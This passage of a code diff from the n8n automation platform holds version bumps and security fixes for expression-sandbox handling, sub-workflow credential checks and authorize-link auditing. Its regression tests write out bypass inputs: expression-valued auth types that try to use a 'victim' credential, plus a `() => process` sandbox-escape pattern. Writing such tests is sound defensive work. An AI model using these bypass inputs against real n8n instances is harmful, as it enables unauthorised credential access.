||||||
|
|
||||||
return require(request) as unknown;
|
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
||||||
|
const resolved = require(request) as unknown;
|
||||||
|
|
||||||
|
return secureModules ? secureModuleExport(resolved) : resolved;
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/tournament",
|
"name": "@n8n/tournament",
|
||||||
"version": "1.7.0",
|
"version": "1.7.1",
|
||||||
"description": "Output compatible rewrite of riot tmpl",
|
"description": "Output compatible rewrite of riot tmpl",
|
||||||
"main": "dist/index.js",
|
"main": "dist/index.js",
|
||||||
"module": "src/index.ts",
|
"module": "src/index.ts",
|
||||||
|
|
|
||||||
|
|
@ -109,6 +109,15 @@ const customPatches: Partial<Record<ParentKind['type'], CustomPatcher>> = {
|
||||||
polyfillVar(path, dataNode);
|
polyfillVar(path, dataNode);
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
ArrowFunctionExpression(path, parent: namedTypes.ArrowFunctionExpression, dataNode) {
|
||||||
|
// A concise arrow body that is a bare identifier (`() => process`) must be
|
||||||
|
// routed through the data context like any other free read. Params are not
|
||||||
|
// the body, and body identifiers that reference a param are left alone by
|
||||||
|
// polyfillVar's in-scope check.
|
||||||
|
if (parent.body === path.node) {
|
||||||
|
polyfillVar(path, dataNode);
|
||||||
|
}
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
export const jsVariablePolyfill = (
|
export const jsVariablePolyfill = (
|
||||||
|
|
@ -134,6 +143,7 @@ export const jsVariablePolyfill = (
|
||||||
case 'MemberExpression':
|
case 'MemberExpression':
|
||||||
case 'OptionalMemberExpression':
|
case 'OptionalMemberExpression':
|
||||||
case 'VariableDeclarator':
|
case 'VariableDeclarator':
|
||||||
|
case 'ArrowFunctionExpression':
|
||||||
if (!customPatches[parent.type]) {
|
if (!customPatches[parent.type]) {
|
||||||
throw new Error(`Couldn't find custom patcher for parent type: ${parent.type}`);
|
throw new Error(`Couldn't find custom patcher for parent type: ${parent.type}`);
|
||||||
}
|
}
|
||||||
|
|
@ -174,7 +184,6 @@ export const jsVariablePolyfill = (
|
||||||
// Do nothing
|
// Do nothing
|
||||||
case 'Super':
|
case 'Super':
|
||||||
case 'Identifier':
|
case 'Identifier':
|
||||||
case 'ArrowFunctionExpression':
|
|
||||||
case 'FunctionDeclaration':
|
case 'FunctionDeclaration':
|
||||||
case 'FunctionExpression':
|
case 'FunctionExpression':
|
||||||
case 'ThisExpression':
|
case 'ThisExpression':
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/workflow-sdk",
|
"name": "@n8n/workflow-sdk",
|
||||||
"version": "0.24.0",
|
"version": "0.24.3",
|
||||||
"description": "TypeScript SDK for programmatically creating n8n workflows",
|
"description": "TypeScript SDK for programmatically creating n8n workflows",
|
||||||
"exports": {
|
"exports": {
|
||||||
".": {
|
".": {
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "n8n",
|
"name": "n8n",
|
||||||
"version": "2.31.0",
|
"version": "2.31.6",
|
||||||
"description": "n8n Workflow Automation Tool",
|
"description": "n8n Workflow Automation Tool",
|
||||||
"main": "dist/index",
|
"main": "dist/index",
|
||||||
"types": "dist/index.d.ts",
|
"types": "dist/index.d.ts",
|
||||||
|
|
|
||||||
|
|
@ -1293,7 +1293,7 @@ describe('CredentialsHelper', () => {
|
||||||
credentialsRepository.findOneByOrFail.mockResolvedValue(resolvableCredentialEntity);
|
credentialsRepository.findOneByOrFail.mockResolvedValue(resolvableCredentialEntity);
|
||||||
mockCredentialResolutionProvider.resolveIfNeeded.mockRejectedValue(
|
mockCredentialResolutionProvider.resolveIfNeeded.mockRejectedValue(
|
||||||
new CredentialResolutionError(
|
new CredentialResolutionError(
|
||||||
'Cannot resolve dynamic credentials without execution context for "Test Credentials"',
|
"This node uses an end-user credential, but no user could be identified for this run, so the credential for it couldn't be resolved",
|
||||||
),
|
),
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|
@ -1327,7 +1327,7 @@ describe('CredentialsHelper', () => {
|
||||||
credentialsRepository.findOneByOrFail.mockResolvedValue(resolvableCredentialEntity);
|
credentialsRepository.findOneByOrFail.mockResolvedValue(resolvableCredentialEntity);
|
||||||
mockCredentialResolutionProvider.resolveIfNeeded.mockRejectedValue(
|
mockCredentialResolutionProvider.resolveIfNeeded.mockRejectedValue(
|
||||||
new CredentialResolutionError(
|
new CredentialResolutionError(
|
||||||
'Cannot resolve dynamic credentials without execution context for "Test Credentials"',
|
"This node uses an end-user credential, but no user could be identified for this run, so the credential for it couldn't be resolved",
|
||||||
),
|
),
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -124,7 +124,7 @@ describe('WorkflowExecuteAdditionalData', () => {
|
||||||
mockInstance(Telemetry);
|
mockInstance(Telemetry);
|
||||||
const workflowRepository = mockInstance(WorkflowRepository);
|
const workflowRepository = mockInstance(WorkflowRepository);
|
||||||
const activeExecutions = mockInstance(ActiveExecutions);
|
const activeExecutions = mockInstance(ActiveExecutions);
|
||||||
mockInstance(CredentialsPermissionChecker);
|
const credentialsPermissionChecker = mockInstance(CredentialsPermissionChecker);
|
||||||
mockInstance(SubworkflowPolicyChecker);
|
mockInstance(SubworkflowPolicyChecker);
|
||||||
mockInstance(WorkflowStatisticsService);
|
mockInstance(WorkflowStatisticsService);
|
||||||
mockInstance(WorkflowPublishHistoryRepository);
|
mockInstance(WorkflowPublishHistoryRepository);
|
||||||
|
|
@ -266,6 +266,100 @@ describe('WorkflowExecuteAdditionalData', () => {
|
||||||
expect(getVariablesSpy).toHaveBeenCalledWith(workflowId, undefined);
|
expect(getVariablesSpy).toHaveBeenCalledWith(workflowId, undefined);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('credential permission check routing', () => {
|
||||||
|
const subWorkflowData = () =>
|
||||||
|
mock<IWorkflowBase>({
|
||||||
|
id: 'sub-id',
|
||||||
|
name: 'Sub Workflow',
|
||||||
|
nodes: [],
|
||||||
|
connections: {},
|
||||||
|
staticData: {},
|
||||||
|
settings: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.mocked(credentialsPermissionChecker.check).mockClear();
|
||||||
|
vi.mocked(credentialsPermissionChecker.checkForUser).mockClear();
|
||||||
|
vi.mocked(WorkflowExecute).mockClear();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('checks credentials against the triggering user for an inline sub-workflow', async () => {
|
||||||
|
await executeWorkflow(
|
||||||
|
mock<IExecuteWorkflowInfo>({ id: undefined, code: subWorkflowData() }),
|
||||||
|
mock<IWorkflowExecuteAdditionalData>({ userId: 'user-1' }),
|
||||||
|
mock<ExecuteWorkflowOptions>({
|
||||||
|
loadedWorkflowData: subWorkflowData(),
|
||||||
|
doNotWaitToFinish: false,
|
||||||
|
parentWorkflowId: 'parent-1',
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(credentialsPermissionChecker.checkForUser).toHaveBeenCalledTimes(1);
|
||||||
|
expect(vi.mocked(credentialsPermissionChecker.checkForUser).mock.calls[0][0]).toBe(
|
||||||
|
'user-1',
|
||||||
|
);
|
||||||
|
expect(credentialsPermissionChecker.check).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('checks credentials against the project for a database sub-workflow', async () => {
|
||||||
|
await executeWorkflow(
|
||||||
|
mock<IExecuteWorkflowInfo>({ id: 'db-id', code: undefined }),
|
||||||
|
mock<IWorkflowExecuteAdditionalData>({ userId: 'user-1' }),
|
||||||
|
mock<ExecuteWorkflowOptions>({
|
||||||
|
loadedWorkflowData: subWorkflowData(),
|
||||||
|
doNotWaitToFinish: false,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(credentialsPermissionChecker.check).toHaveBeenCalled();
|
||||||
|
expect(credentialsPermissionChecker.checkForUser).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to the project check for an inline sub-workflow without a triggering user', async () => {
|
||||||
|
await executeWorkflow(
|
||||||
|
mock<IExecuteWorkflowInfo>({ id: undefined, code: subWorkflowData() }),
|
||||||
|
mock<IWorkflowExecuteAdditionalData>({ userId: undefined }),
|
||||||
|
mock<ExecuteWorkflowOptions>({
|
||||||
|
loadedWorkflowData: subWorkflowData(),
|
||||||
|
doNotWaitToFinish: false,
|
||||||
|
parentWorkflowId: 'parent-1',
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(credentialsPermissionChecker.check).toHaveBeenCalled();
|
||||||
|
expect(credentialsPermissionChecker.checkForUser).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('preserves the triggering user in the sub-workflow additional data for inline sub-workflows so nested inline calls stay scoped to that user', async () => {
|
||||||
|
await executeWorkflow(
|
||||||
|
mock<IExecuteWorkflowInfo>({ id: undefined, code: subWorkflowData() }),
|
||||||
|
mock<IWorkflowExecuteAdditionalData>({ userId: 'user-1' }),
|
||||||
|
mock<ExecuteWorkflowOptions>({
|
||||||
|
loadedWorkflowData: subWorkflowData(),
|
||||||
|
doNotWaitToFinish: false,
|
||||||
|
parentWorkflowId: 'parent-1',
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
const integratedAdditionalData = vi.mocked(WorkflowExecute).mock.calls[0][0];
|
||||||
|
expect(integratedAdditionalData.userId).toBe('user-1');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not carry the triggering user into a database sub-workflow (runs under its own project scope)', async () => {
|
||||||
|
await executeWorkflow(
|
||||||
|
mock<IExecuteWorkflowInfo>({ id: 'db-id', code: undefined }),
|
||||||
|
mock<IWorkflowExecuteAdditionalData>({ userId: 'user-1' }),
|
||||||
|
mock<ExecuteWorkflowOptions>({
|
||||||
|
loadedWorkflowData: subWorkflowData(),
|
||||||
|
doNotWaitToFinish: false,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
const integratedAdditionalData = vi.mocked(WorkflowExecute).mock.calls[0][0];
|
||||||
|
expect(integratedAdditionalData.userId).toBeUndefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('sub-workflow dynamic credential reporting', () => {
|
describe('sub-workflow dynamic credential reporting', () => {
|
||||||
const getMockRunWithCredentialFlags = (task: Partial<ITaskData>, executedByUserId?: string) =>
|
const getMockRunWithCredentialFlags = (task: Partial<ITaskData>, executedByUserId?: string) =>
|
||||||
mock<IRun>({
|
mock<IRun>({
|
||||||
|
|
|
||||||
|
|
@ -49,5 +49,11 @@ describe('AuthService Browser ID Whitelist', () => {
|
||||||
expect(skipEndpoints).toContain('/rest/oauth1-credential/callback');
|
expect(skipEndpoints).toContain('/rest/oauth1-credential/callback');
|
||||||
expect(skipEndpoints).toContain('/rest/oauth2-credential/callback');
|
expect(skipEndpoints).toContain('/rest/oauth2-credential/callback');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should include the dynamic-credential authorize link in the skip browser ID check endpoints', () => {
|
||||||
|
const skipEndpoints = (authService as any).skipBrowserIdCheckEndpoints;
|
||||||
|
|
||||||
|
expect(skipEndpoints).toContain('/rest/credentials/:id/authorize');
|
||||||
|
});
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -84,6 +84,11 @@ export class AuthService {
|
||||||
`/${restEndpoint}/oauth1-credential/callback`,
|
`/${restEndpoint}/oauth1-credential/callback`,
|
||||||
`/${restEndpoint}/oauth2-credential/callback`,
|
`/${restEndpoint}/oauth2-credential/callback`,
|
||||||
|
|
||||||
|
// The dynamic-credential authorize link is a top-level browser navigation
|
||||||
|
// (link click / redirect), so it can't carry the browser-id header. The
|
||||||
|
// GET method guard below keeps this GET-only; POST authorize is unaffected.
|
||||||
|
`/${restEndpoint}/credentials/:id/authorize`,
|
||||||
|
|
||||||
// Skip browser ID check for type files
|
// Skip browser ID check for type files
|
||||||
'/types/nodes.json',
|
'/types/nodes.json',
|
||||||
'/types/credentials.json',
|
'/types/credentials.json',
|
||||||
|
|
|
||||||
|
|
@ -419,11 +419,19 @@ export class Start extends BaseCommand<z.infer<typeof flagsSchema>> {
|
||||||
const { WorkflowPublicationOutboxCleanupService } = await import(
|
const { WorkflowPublicationOutboxCleanupService } = await import(
|
||||||
'@/workflows/publication/workflow-publication-outbox-cleanup.service'
|
'@/workflows/publication/workflow-publication-outbox-cleanup.service'
|
||||||
);
|
);
|
||||||
|
const { WorkflowPublicationReconciler } = await import(
|
||||||
|
'@/workflows/publication/workflow-publication-reconciler.service'
|
||||||
|
);
|
||||||
|
|
||||||
// Import for its side effect: registering the trigger deactivator's
|
// Import for its side effect: registering the trigger deactivator's
|
||||||
// @OnLeaderStepdown and @OnShutdown handlers. Nothing else loads this module.
|
// @OnLeaderStepdown and @OnShutdown handlers. Nothing else loads this module.
|
||||||
await import('@/workflows/publication/published-workflow-trigger-deactivator');
|
await import('@/workflows/publication/published-workflow-trigger-deactivator');
|
||||||
|
|
||||||
|
// The modules above register @OnPubSubEvent handlers (e.g. the outbox
|
||||||
|
// wake-up) after the earlier PubSubRegistry.init() calls already wired
|
||||||
|
// listeners, so rewire to pick them up.
|
||||||
|
Container.get(PubSubRegistry).init();
|
||||||
|
|
||||||
// Enqueue needs to happen before outbox consumer init, so it can activate
|
// Enqueue needs to happen before outbox consumer init, so it can activate
|
||||||
// everything on the first drain
|
// everything on the first drain
|
||||||
if (this.instanceSettings.isLeader) {
|
if (this.instanceSettings.isLeader) {
|
||||||
|
|
@ -439,6 +447,7 @@ export class Start extends BaseCommand<z.infer<typeof flagsSchema>> {
|
||||||
});
|
});
|
||||||
|
|
||||||
Container.get(WorkflowPublicationOutboxCleanupService).init();
|
Container.get(WorkflowPublicationOutboxCleanupService).init();
|
||||||
|
Container.get(WorkflowPublicationReconciler).init();
|
||||||
} else {
|
} else {
|
||||||
await this.activeWorkflowManager.init();
|
await this.activeWorkflowManager.init();
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -137,6 +137,7 @@ export const eventNamesAudit = [
|
||||||
'n8n.audit.cluster.instance-joined',
|
'n8n.audit.cluster.instance-joined',
|
||||||
'n8n.audit.cluster.instance-left',
|
'n8n.audit.cluster.instance-left',
|
||||||
'n8n.audit.oauth.callback.binding.rejected',
|
'n8n.audit.oauth.callback.binding.rejected',
|
||||||
|
'n8n.audit.credentials.authorize.rejected',
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
export type EventNamesWorkflowType = (typeof eventNamesWorkflow)[number];
|
export type EventNamesWorkflowType = (typeof eventNamesWorkflow)[number];
|
||||||
|
|
|
||||||
|
|
@ -483,6 +483,11 @@ export type RelayEventMap = {
|
||||||
origin?: 'static-credential' | 'dynamic-credential';
|
origin?: 'static-credential' | 'dynamic-credential';
|
||||||
};
|
};
|
||||||
|
|
||||||
|
'dynamic-credential-authorize-rejected': {
|
||||||
|
reason: 'unauthenticated' | 'user-mismatch';
|
||||||
|
credentialId?: string;
|
||||||
|
};
|
||||||
|
|
||||||
'private-credential-created': {
|
'private-credential-created': {
|
||||||
user: UserLike;
|
user: UserLike;
|
||||||
credentialType: string;
|
credentialType: string;
|
||||||
|
|
|
||||||
|
|
@ -50,4 +50,11 @@ export type WorkflowPublicationMetricsEventMap = {
|
||||||
deletedCount: number;
|
deletedCount: number;
|
||||||
durationMs: number;
|
durationMs: number;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
'workflow-publication-reconciliation': {
|
||||||
|
result: PublicationOperationResult;
|
||||||
|
/** Workflows re-enqueued because their in-memory triggers were missing. */
|
||||||
|
deficientCount: number;
|
||||||
|
durationMs: number;
|
||||||
|
};
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -80,6 +80,8 @@ export class LogStreamingEventRelay extends EventRelay {
|
||||||
'credentials-shared': (event) => this.credentialsShared(event),
|
'credentials-shared': (event) => this.credentialsShared(event),
|
||||||
'credentials-updated': (event) => this.credentialsUpdated(event),
|
'credentials-updated': (event) => this.credentialsUpdated(event),
|
||||||
'oauth-callback-binding-rejected': (event) => this.oauthCallbackBindingRejected(event),
|
'oauth-callback-binding-rejected': (event) => this.oauthCallbackBindingRejected(event),
|
||||||
|
'dynamic-credential-authorize-rejected': (event) =>
|
||||||
|
this.dynamicCredentialAuthorizeRejected(event),
|
||||||
'variable-created': (event) => this.variableCreated(event),
|
'variable-created': (event) => this.variableCreated(event),
|
||||||
'variable-updated': (event) => this.variableUpdated(event),
|
'variable-updated': (event) => this.variableUpdated(event),
|
||||||
'variable-deleted': (event) => this.variableDeleted(event),
|
'variable-deleted': (event) => this.variableDeleted(event),
|
||||||
|
|
@ -675,6 +677,15 @@ export class LogStreamingEventRelay extends EventRelay {
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private dynamicCredentialAuthorizeRejected(
|
||||||
|
event: RelayEventMap['dynamic-credential-authorize-rejected'] /* no user context: clicker is unauthenticated or mismatched */,
|
||||||
|
) {
|
||||||
|
void this.eventBus.sendAuditEvent({
|
||||||
|
eventName: 'n8n.audit.credentials.authorize.rejected',
|
||||||
|
payload: event,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
// #endregion
|
// #endregion
|
||||||
|
|
||||||
// #region Variable
|
// #region Variable
|
||||||
|
|
|
||||||
|
|
@ -139,6 +139,7 @@ type HooksSetupParameters = {
|
||||||
pushRef?: string;
|
pushRef?: string;
|
||||||
retryOf?: string;
|
retryOf?: string;
|
||||||
parentExecution?: RelatedExecution;
|
parentExecution?: RelatedExecution;
|
||||||
|
source?: IWorkflowExecutionDataProcess['source'];
|
||||||
};
|
};
|
||||||
|
|
||||||
function hookFunctionsWorkflowEvents(
|
function hookFunctionsWorkflowEvents(
|
||||||
|
|
@ -485,10 +486,13 @@ function hookFunctionsFinalizeExecutionStatus(hooks: ExecutionLifecycleHooks) {
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function hookFunctionsStatistics(hooks: ExecutionLifecycleHooks) {
|
function hookFunctionsStatistics(
|
||||||
|
hooks: ExecutionLifecycleHooks,
|
||||||
|
source?: IWorkflowExecutionDataProcess['source'],
|
||||||
|
) {
|
||||||
const workflowStatisticsService = Container.get(WorkflowStatisticsService);
|
const workflowStatisticsService = Container.get(WorkflowStatisticsService);
|
||||||
hooks.addHandler('nodeFetchedData', (workflowId, node) => {
|
hooks.addHandler('nodeFetchedData', (workflowId, node) => {
|
||||||
workflowStatisticsService.emit('nodeFetchedData', { workflowId, node });
|
workflowStatisticsService.emit('nodeFetchedData', { workflowId, node, source });
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -519,7 +523,7 @@ async function duplicateBinaryDataToParent(
|
||||||
*/
|
*/
|
||||||
function hookFunctionsSave(
|
function hookFunctionsSave(
|
||||||
hooks: ExecutionLifecycleHooks,
|
hooks: ExecutionLifecycleHooks,
|
||||||
{ pushRef, retryOf, saveSettings, parentExecution }: HooksSetupParameters,
|
{ pushRef, retryOf, saveSettings, parentExecution, source }: HooksSetupParameters,
|
||||||
) {
|
) {
|
||||||
const logger = Container.get(Logger);
|
const logger = Container.get(Logger);
|
||||||
const errorReporter = Container.get(ErrorReporter);
|
const errorReporter = Container.get(ErrorReporter);
|
||||||
|
|
@ -633,6 +637,7 @@ function hookFunctionsSave(
|
||||||
workflowStatisticsService.emit('workflowExecutionCompleted', {
|
workflowStatisticsService.emit('workflowExecutionCompleted', {
|
||||||
workflowData: this.workflowData,
|
workflowData: this.workflowData,
|
||||||
fullRunData,
|
fullRunData,
|
||||||
|
source,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
@ -647,7 +652,7 @@ const DISCARDABLE_DATA_MODES: WorkflowExecuteMode[] = ['trigger', 'cli', 'error'
|
||||||
*/
|
*/
|
||||||
function hookFunctionsSaveWorker(
|
function hookFunctionsSaveWorker(
|
||||||
hooks: ExecutionLifecycleHooks,
|
hooks: ExecutionLifecycleHooks,
|
||||||
{ pushRef, retryOf, saveSettings }: HooksSetupParameters,
|
{ pushRef, retryOf, saveSettings, source }: HooksSetupParameters,
|
||||||
) {
|
) {
|
||||||
const logger = Container.get(Logger);
|
const logger = Container.get(Logger);
|
||||||
const errorReporter = Container.get(ErrorReporter);
|
const errorReporter = Container.get(ErrorReporter);
|
||||||
|
|
@ -722,6 +727,7 @@ function hookFunctionsSaveWorker(
|
||||||
workflowStatisticsService.emit('workflowExecutionCompleted', {
|
workflowStatisticsService.emit('workflowExecutionCompleted', {
|
||||||
workflowData: this.workflowData,
|
workflowData: this.workflowData,
|
||||||
fullRunData,
|
fullRunData,
|
||||||
|
source,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
@ -760,7 +766,7 @@ export function getLifecycleHooksForScalingWorker(
|
||||||
data: IWorkflowExecutionDataProcess,
|
data: IWorkflowExecutionDataProcess,
|
||||||
executionId: string,
|
executionId: string,
|
||||||
): ExecutionLifecycleHooks {
|
): ExecutionLifecycleHooks {
|
||||||
const { pushRef, retryOf, executionMode, workflowData } = data;
|
const { pushRef, retryOf, executionMode, workflowData, source } = data;
|
||||||
const hooks = new ExecutionLifecycleHooks(
|
const hooks = new ExecutionLifecycleHooks(
|
||||||
executionMode,
|
executionMode,
|
||||||
executionId,
|
executionId,
|
||||||
|
|
@ -768,12 +774,12 @@ export function getLifecycleHooksForScalingWorker(
|
||||||
retryOf ?? undefined,
|
retryOf ?? undefined,
|
||||||
);
|
);
|
||||||
const saveSettings = toSaveSettings(workflowData.settings);
|
const saveSettings = toSaveSettings(workflowData.settings);
|
||||||
const optionalParameters = { pushRef, retryOf: retryOf ?? undefined, saveSettings };
|
const optionalParameters = { pushRef, retryOf: retryOf ?? undefined, saveSettings, source };
|
||||||
hookFunctionsNodeEvents(hooks);
|
hookFunctionsNodeEvents(hooks);
|
||||||
hookFunctionsFinalizeExecutionStatus(hooks);
|
hookFunctionsFinalizeExecutionStatus(hooks);
|
||||||
hookFunctionsSaveWorker(hooks, optionalParameters);
|
hookFunctionsSaveWorker(hooks, optionalParameters);
|
||||||
hookFunctionsSaveProgress(hooks, optionalParameters);
|
hookFunctionsSaveProgress(hooks, optionalParameters);
|
||||||
hookFunctionsStatistics(hooks);
|
hookFunctionsStatistics(hooks, source);
|
||||||
hookFunctionsExternalHooks(hooks);
|
hookFunctionsExternalHooks(hooks);
|
||||||
|
|
||||||
if (executionMode === 'manual' && Container.get(InstanceSettings).isWorker) {
|
if (executionMode === 'manual' && Container.get(InstanceSettings).isWorker) {
|
||||||
|
|
@ -898,14 +904,14 @@ export function getLifecycleHooksForRegularMain(
|
||||||
retryOf ?? undefined,
|
retryOf ?? undefined,
|
||||||
);
|
);
|
||||||
const saveSettings = toSaveSettings(workflowData.settings);
|
const saveSettings = toSaveSettings(workflowData.settings);
|
||||||
const optionalParameters = { pushRef, retryOf: retryOf ?? undefined, saveSettings };
|
const optionalParameters = { pushRef, retryOf: retryOf ?? undefined, saveSettings, source };
|
||||||
hookFunctionsWorkflowEvents(hooks, userId, projectId, projectName, source, telemetryMetadata);
|
hookFunctionsWorkflowEvents(hooks, userId, projectId, projectName, source, telemetryMetadata);
|
||||||
hookFunctionsNodeEvents(hooks);
|
hookFunctionsNodeEvents(hooks);
|
||||||
hookFunctionsFinalizeExecutionStatus(hooks);
|
hookFunctionsFinalizeExecutionStatus(hooks);
|
||||||
hookFunctionsSave(hooks, optionalParameters);
|
hookFunctionsSave(hooks, optionalParameters);
|
||||||
hookFunctionsPush(hooks, optionalParameters, userId, source);
|
hookFunctionsPush(hooks, optionalParameters, userId, source);
|
||||||
hookFunctionsSaveProgress(hooks, optionalParameters);
|
hookFunctionsSaveProgress(hooks, optionalParameters);
|
||||||
hookFunctionsStatistics(hooks);
|
hookFunctionsStatistics(hooks, source);
|
||||||
hookFunctionsExternalHooks(hooks);
|
hookFunctionsExternalHooks(hooks);
|
||||||
Container.get(ModulesHooksRegistry).addHooks(hooks);
|
Container.get(ModulesHooksRegistry).addHooks(hooks);
|
||||||
return hooks;
|
return hooks;
|
||||||
|
|
|
||||||
|
|
@ -4,11 +4,14 @@ import {
|
||||||
type SharedCredentialsRepository,
|
type SharedCredentialsRepository,
|
||||||
type CredentialsRepository,
|
type CredentialsRepository,
|
||||||
type CredentialsEntity,
|
type CredentialsEntity,
|
||||||
|
type UserRepository,
|
||||||
GLOBAL_OWNER_ROLE,
|
GLOBAL_OWNER_ROLE,
|
||||||
|
GLOBAL_MEMBER_ROLE,
|
||||||
} from '@n8n/db';
|
} from '@n8n/db';
|
||||||
import type { INode } from 'n8n-workflow';
|
import type { INode } from 'n8n-workflow';
|
||||||
import { mock } from 'vitest-mock-extended';
|
import { mock } from 'vitest-mock-extended';
|
||||||
|
|
||||||
|
import type { CredentialsFinderService } from '@/credentials/credentials-finder.service';
|
||||||
import type { NodeTypes } from '@/node-types';
|
import type { NodeTypes } from '@/node-types';
|
||||||
import type { OwnershipService } from '@/services/ownership.service';
|
import type { OwnershipService } from '@/services/ownership.service';
|
||||||
import type { ProjectService } from '@/services/project.service.ee';
|
import type { ProjectService } from '@/services/project.service.ee';
|
||||||
|
|
@ -21,12 +24,16 @@ describe('CredentialsPermissionChecker', () => {
|
||||||
const ownershipService = mock<OwnershipService>();
|
const ownershipService = mock<OwnershipService>();
|
||||||
const projectService = mock<ProjectService>();
|
const projectService = mock<ProjectService>();
|
||||||
const nodeTypes = mock<NodeTypes>();
|
const nodeTypes = mock<NodeTypes>();
|
||||||
|
const userRepository = mock<UserRepository>();
|
||||||
|
const credentialsFinderService = mock<CredentialsFinderService>();
|
||||||
const permissionChecker = new CredentialsPermissionChecker(
|
const permissionChecker = new CredentialsPermissionChecker(
|
||||||
sharedCredentialsRepository,
|
sharedCredentialsRepository,
|
||||||
credentialsRepository,
|
credentialsRepository,
|
||||||
ownershipService,
|
ownershipService,
|
||||||
projectService,
|
projectService,
|
||||||
nodeTypes,
|
nodeTypes,
|
||||||
|
userRepository,
|
||||||
|
credentialsFinderService,
|
||||||
);
|
);
|
||||||
|
|
||||||
const workflowId = 'workflow123';
|
const workflowId = 'workflow123';
|
||||||
|
|
@ -302,6 +309,82 @@ describe('CredentialsPermissionChecker', () => {
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should check the credential when genericAuthType is an expression', async () => {
|
||||||
|
const victimCredentialId = 'victim-cred';
|
||||||
|
const httpRequestNodeWithExpressionAuth: INode = {
|
||||||
|
id: 'node-3',
|
||||||
|
name: 'HTTP Request',
|
||||||
|
type: 'n8n-nodes-base.httpRequest',
|
||||||
|
typeVersion: 4.2,
|
||||||
|
position: [0, 0],
|
||||||
|
parameters: {
|
||||||
|
authentication: 'genericCredentialType',
|
||||||
|
// Resolves to "httpHeaderAuth" only at execution time
|
||||||
|
genericAuthType: '={{ "httpHeaderAuth" }}',
|
||||||
|
},
|
||||||
|
credentials: {
|
||||||
|
httpHeaderAuth: {
|
||||||
|
id: victimCredentialId,
|
||||||
|
name: 'Victim Header Auth',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
nodeTypes.getByNameAndVersion.mockReturnValue({
|
||||||
|
description: { credentials: [] },
|
||||||
|
} as never);
|
||||||
|
|
||||||
|
sharedCredentialsRepository.getFilteredAccessibleCredentials.mockResolvedValue([]);
|
||||||
|
credentialsRepository.find.mockResolvedValue([]);
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
permissionChecker.check(workflowId, [httpRequestNodeWithExpressionAuth]),
|
||||||
|
).rejects.toThrow('Node "HTTP Request" does not have access to the credential');
|
||||||
|
|
||||||
|
// The unresolved expression must not let the credential bypass the check
|
||||||
|
expect(sharedCredentialsRepository.getFilteredAccessibleCredentials).toHaveBeenCalledWith(
|
||||||
|
[teamProject.id],
|
||||||
|
[victimCredentialId],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should check the credential when nodeCredentialType is an expression', async () => {
|
||||||
|
const victimCredentialId = 'victim-cred';
|
||||||
|
const httpRequestNodeWithExpressionAuth: INode = {
|
||||||
|
id: 'node-4',
|
||||||
|
name: 'HTTP Request',
|
||||||
|
type: 'n8n-nodes-base.httpRequest',
|
||||||
|
typeVersion: 4.3,
|
||||||
|
position: [0, 0],
|
||||||
|
parameters: {
|
||||||
|
authentication: 'predefinedCredentialType',
|
||||||
|
nodeCredentialType: '={{ "googleOAuth2Api" }}',
|
||||||
|
},
|
||||||
|
credentials: {
|
||||||
|
googleOAuth2Api: {
|
||||||
|
id: victimCredentialId,
|
||||||
|
name: 'Victim OAuth2',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
nodeTypes.getByNameAndVersion.mockReturnValue({
|
||||||
|
description: { credentials: [] },
|
||||||
|
} as never);
|
||||||
|
|
||||||
|
sharedCredentialsRepository.getFilteredAccessibleCredentials.mockResolvedValue([]);
|
||||||
|
credentialsRepository.find.mockResolvedValue([]);
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
permissionChecker.check(workflowId, [httpRequestNodeWithExpressionAuth]),
|
||||||
|
).rejects.toThrow('Node "HTTP Request" does not have access to the credential');
|
||||||
|
|
||||||
|
expect(sharedCredentialsRepository.getFilteredAccessibleCredentials).toHaveBeenCalledWith(
|
||||||
|
[teamProject.id],
|
||||||
|
